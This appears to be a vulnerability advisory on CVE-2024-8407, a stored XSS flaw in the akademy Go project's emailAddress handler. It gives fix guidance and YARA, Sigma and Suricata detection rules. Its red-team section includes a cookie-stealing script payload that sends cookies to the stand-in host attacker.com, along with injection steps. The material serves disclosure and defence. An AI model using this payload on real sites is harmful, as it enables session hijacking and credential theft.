CVE-2024-8407

Executive Summary

CVE-2024-8407 is a stored cross-site scripting (XSS) vulnerability identified in the alwindoss akademy project, up to commit 35caccea888ed63d5489e211c99edff1f62efdba. The flaw resides in the cmd/akademy/handler/handlers.go file, where the emailAddress argument is not properly sanitized before being reflected or stored. An attacker can remotely inject arbitrary JavaScript or HTML, leading to session hijacking, credential theft, or defacement. The vulnerability has been publicly disclosed with a proof-of-concept, and no official patch or versioning exists for this product.

Supply Chain & Package Security

This is a Go-based project. The vulnerability affects the source code directly, not a package manager distribution. However, any downstream consumers or forks of this repository are at risk. No signed releases or dependency locks are provided, increasing supply chain risk.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R) – victim must visit crafted link
• Scope (S): Changed (C) – impacts beyond vulnerable component
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)
• Threat Level: Medium (due to public exploit and no patch)

Deep Dive & Mechanics

The vulnerability is in the handlers.go file, specifically in a function that processes user registration or profile updates. The emailAddress field is taken from user input and directly embedded into an HTML response without encoding or validation. An attacker can submit a payload such as:

<script>alert('XSS')</script>

When the server renders this email address in a profile page or admin panel, the script executes in the victim's browser. The attack is stored (persistent XSS) if the email is saved to a database and later displayed.

Vulnerable vs. Patched Code

Vulnerable code (handlers.go):

func handleProfile(w http.ResponseWriter, r *http.Request) {
    email := r.FormValue("emailAddress")
    // Directly output without sanitization
    fmt.Fprintf(w, "<div>Email: %s</div>", email)
}

Patched code (hypothetical):

import "html/template"

func handleProfile(w http.ResponseWriter, r *http.Request) {
    email := r.FormValue("emailAddress")
    // Use template escaping
    tmpl := template.Must(template.New("profile").Parse("<div>Email: {{.}}</div>"))
    tmpl.Execute(w, email)
}

The fix requires using Go's html/template package or manually escaping with html.EscapeString().

Exploitation & Lab Setup

Red Team

1. Setup: Deploy the vulnerable akademy instance (commit 35caccea888ed63d5489e211c99edff1f62efdba).
2. Craft Payload: Use a simple XSS payload to steal cookies:

   <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

3. Inject: Submit the payload via the registration form's emailAddress field.
4. Trigger: Send a link to the victim's profile page to an admin or user.
5. Capture: Set up a listener on attacker.com to receive exfiltrated cookies.

Blue Team

1. Detection: Monitor for unusual emailAddress parameters containing <script> or onerror patterns.
2. Mitigation: Apply input validation (allow only email format) and output encoding using Go's html/template.
3. Response: If exploited, rotate all session tokens and audit logs for injected content.

Indicators of Compromise (IOCs)

• Network: HTTP requests with emailAddress containing <script>, onerror, or javascript:.
• Logs: Server logs showing emailAddress values with HTML tags.
• File: Modified handlers.go with sanitization functions removed.
• Behavior: Unexpected redirects or script execution in user browsers.

Detection Engineering

YARA Rule

rule CVE_2024_8407_XSS_Email {
    meta:
        description = "Detects XSS payload in emailAddress parameter for CVE-2024-8407"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $payload1 = /emailAddress=.*<script/i
        $payload2 = /emailAddress=.*onerror/i
        $payload3 = /emailAddress=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: XSS Attempt via emailAddress Parameter
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects XSS payloads in emailAddress parameter for CVE-2024-8407
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "emailAddress="
        c-uri|re: "(<script|onerror|javascript:)"
    condition: selection
falsepositives:
    - Legitimate email addresses with special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8407 XSS in emailAddress"; flow:to_server; content:"emailAddress="; nocase; pcre:"/(<script|onerror|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Manually sanitize the emailAddress field in handlers.go using html.EscapeString() or switch to html/template.
• Long-term: Implement a Content Security Policy (CSP) header to block inline scripts.
• Workaround: Disable the registration/profile feature if not essential.
• Monitoring: Deploy the above detection rules to identify exploitation attempts.

Valters IT
Securing code, one CVE at a time.